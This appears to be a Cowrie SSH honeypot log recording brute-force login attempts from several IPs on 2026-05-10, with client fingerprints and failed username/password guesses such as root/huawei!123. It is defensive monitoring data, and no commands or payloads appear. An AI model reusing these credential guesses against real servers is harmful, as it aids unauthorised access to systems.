{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33106,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda6faf300e2","protocol":"ssh","message":"New connection: 168.167.228.74:33106 (10.17.0.5:22) [session: eda6faf300e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:04.196964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:04.201543Z","src_ip":"168.167.228.74","session":"eda6faf300e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:04.451491Z","src_ip":"168.167.228.74","session":"eda6faf300e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123...","message":"login attempt [root/qqq123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:05.480713Z","src_ip":"168.167.228.74","session":"eda6faf300e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:06.733738Z","src_ip":"168.167.228.74","session":"eda6faf300e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":6043,"dst_ip":"159.203.135.109","dst_port":22,"session":"a66f80a3ee2f","protocol":"ssh","message":"New connection: 193.24.211.100:6043 (159.203.135.109:22) [session: a66f80a3ee2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:19.096068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:19.101542Z","src_ip":"193.24.211.100","session":"a66f80a3ee2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:19.210416Z","src_ip":"193.24.211.100","session":"a66f80a3ee2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwerty","message":"login attempt [root/12345qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:19.770535Z","src_ip":"193.24.211.100","session":"a66f80a3ee2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:20.882656Z","src_ip":"193.24.211.100","session":"a66f80a3ee2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":35112,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa583d47e48f","protocol":"ssh","message":"New connection: 80.94.92.171:35112 (10.17.0.5:22) [session: aa583d47e48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:51.127931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:51.417606Z","src_ip":"80.94.92.171","session":"aa583d47e48f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:51.421833Z","src_ip":"80.94.92.171","session":"aa583d47e48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:51.944664Z","src_ip":"80.94.92.171","session":"aa583d47e48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:53.379908Z","src_ip":"80.94.92.171","session":"aa583d47e48f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33107,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0a77b6bb561","protocol":"ssh","message":"New connection: 168.167.228.74:33107 (10.17.0.5:22) [session: a0a77b6bb561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:05:14.184620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:05:14.189686Z","src_ip":"168.167.228.74","session":"a0a77b6bb561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:05:14.444251Z","src_ip":"168.167.228.74","session":"a0a77b6bb561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123321","message":"login attempt [ftpuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:05:15.483584Z","src_ip":"168.167.228.74","session":"a0a77b6bb561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:05:16.739625Z","src_ip":"168.167.228.74","session":"a0a77b6bb561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33108,"dst_ip":"10.17.0.5","dst_port":22,"session":"50189610e164","protocol":"ssh","message":"New connection: 168.167.228.74:33108 (10.17.0.5:22) [session: 50189610e164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:06:26.010294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:06:26.015284Z","src_ip":"168.167.228.74","session":"50189610e164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:06:26.268437Z","src_ip":"168.167.228.74","session":"50189610e164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminn","message":"login attempt [root/adminn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:06:27.309456Z","src_ip":"168.167.228.74","session":"50189610e164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:06:28.568496Z","src_ip":"168.167.228.74","session":"50189610e164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33109,"dst_ip":"10.17.0.5","dst_port":22,"session":"00b0289598ed","protocol":"ssh","message":"New connection: 168.167.228.74:33109 (10.17.0.5:22) [session: 00b0289598ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:07:31.635887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:07:31.640324Z","src_ip":"168.167.228.74","session":"00b0289598ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:07:31.893944Z","src_ip":"168.167.228.74","session":"00b0289598ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei!123","message":"login attempt [root/huawei!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:07:32.942812Z","src_ip":"168.167.228.74","session":"00b0289598ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:07:34.200076Z","src_ip":"168.167.228.74","session":"00b0289598ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33172,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe82d668095","protocol":"ssh","message":"New connection: 168.167.228.74:33172 (10.17.0.5:22) [session: 4fe82d668095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.164333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.169725Z","src_ip":"168.167.228.74","session":"4fe82d668095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.421766Z","src_ip":"168.167.228.74","session":"4fe82d668095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":55456,"dst_ip":"159.203.135.109","dst_port":22,"session":"f841afc1b7c0","protocol":"ssh","message":"New connection: 64.89.163.156:55456 (159.203.135.109:22) [session: f841afc1b7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.550203Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.650360Z","src_ip":"64.89.163.156","session":"f841afc1b7c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":55458,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9a1fcc9f9ff","protocol":"ssh","message":"New connection: 64.89.163.156:55458 (159.203.135.109:22) [session: a9a1fcc9f9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.733742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.739111Z","src_ip":"64.89.163.156","session":"a9a1fcc9f9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:41.826445Z","src_ip":"64.89.163.156","session":"a9a1fcc9f9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:42.089364Z","src_ip":"64.89.163.156","session":"a9a1fcc9f9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123!!","message":"login attempt [root/qwerty123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:42.460482Z","src_ip":"168.167.228.74","session":"4fe82d668095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:43.179414Z","src_ip":"64.89.163.156","session":"a9a1fcc9f9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:08:43.715122Z","src_ip":"168.167.228.74","session":"4fe82d668095","protocol":"ssh"}
